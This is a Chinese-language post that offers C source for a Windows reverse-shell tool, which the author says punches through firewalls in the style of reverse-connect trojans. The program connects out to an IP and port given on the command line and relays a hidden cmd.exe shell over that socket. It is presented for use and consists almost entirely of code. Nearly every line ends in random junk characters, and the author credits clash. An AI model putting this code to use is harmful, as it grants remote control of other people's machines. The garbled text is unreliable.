这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 'Cg V0&@
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/* ============================== qbH%Hx
Rebound port in Windows NT U4]30B{;H
By wind,2006/7 X)8e4~(?
===============================*/ |ribWCv0
#include L,#^&9bHa#
#include en%J!<&W{K
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#pragma comment(lib,"wsock32.lib")
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void OutputShell(); Ha?G=X
SOCKET sClient; lHcA j{6
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; C(}^fJ6r
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void main(int argc,char **argv) xg?auje
{ }*h47t}
WSADATA stWsaData; V- /YNRV
int nRet; kY=rz&?U
SOCKADDR_IN stSaiClient,stSaiServer; }4Zkf<#7$
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if(argc != 3) 5lGQ#r
{ 7"#f!.E
printf("Useage:\n\rRebound DestIP DestPort\n"); d)\2U{
return; |88CBiu}
} W-1sU g[AN
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WSAStartup(MAKEWORD(2,2),&stWsaData); 55^tfu
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); GtC7^Z&E
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stSaiClient.sin_family = AF_INET; 6s5yyy=L%~
stSaiClient.sin_port = htons(0); +^Fp&K+^
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); X
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) vmLpmxS
{ fa4=h;>a+
printf("Bind Socket Failed!\n"); 5}
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return; yWNOG 2qAP
} 0t+])>
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stSaiServer.sin_family = AF_INET; S"Kq^DN
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); f9a$$nb3`
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); RtwUb(wn6
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) "-P/jk
{ f}2;N
printf("Connect Error!"); Je 31".
return; lY8`5Uz
} $T?]+2,6;
OutputShell(); cv]BV>=E
} V:OiW"/
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void OutputShell() *!w25t
{ 68p R:
char szBuff[1024]; F_v-}bbcFQ
SECURITY_ATTRIBUTES stSecurityAttributes; |kseKZ3
OSVERSIONINFO stOsversionInfo; *,&S' ,S-
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 9n"V\e_R
STARTUPINFO stStartupInfo; Kr]z]4.d@
char *szShell; kutJd{68
PROCESS_INFORMATION stProcessInformation; /kRAt^4!
unsigned long lBytesRead; ^&NN]?
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); T<6GcI>A
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); NV6G.x
stSecurityAttributes.lpSecurityDescriptor = 0; _4v"")Xe
stSecurityAttributes.bInheritHandle = TRUE; !VRo*[yD@
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); jM @?<1
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); V'I T1~
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); )b0];&hw]
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 7h`^N5H.q
stStartupInfo.wShowWindow = SW_HIDE; '60//"9>k/
stStartupInfo.hStdInput = hReadPipe; `;cz;"
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; :3O5ET'1
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GetVersionEx(&stOsversionInfo); G|*G9nQ
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switch(stOsversionInfo.dwPlatformId) bcn7,ht
{ bb1f/C%
case 1: #q;z8 @
szShell = "command.com"; |z*>ixK
break; 3ev -Iqz
default: +`Pmq}ey
szShell = "cmd.exe"; W-m"@<Z
break; E30Z`$cz:
} iD714+N(
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); n}OU Y
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send(sClient,szMsg,77,0); 96}eR,
while(1) 1qZG`Vz
{ >pdnCv_c
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); O:YJ%;w
if(lBytesRead) ZLrHZhP-+
{ GW/WUzK
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); RX>2~^
send(sClient,szBuff,lBytesRead,0); &a6,ln:P
} ?Oc
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else kP^*hO!%
{ CmHyAw(
lBytesRead=recv(sClient,szBuff,1024,0); `{o$F ::(
if(lBytesRead<=0) break; RG}}Oh="v
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 3AeH7g4<
} [0!{_E)<
} :c:V%0Yji
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return; WFDCPQ@
}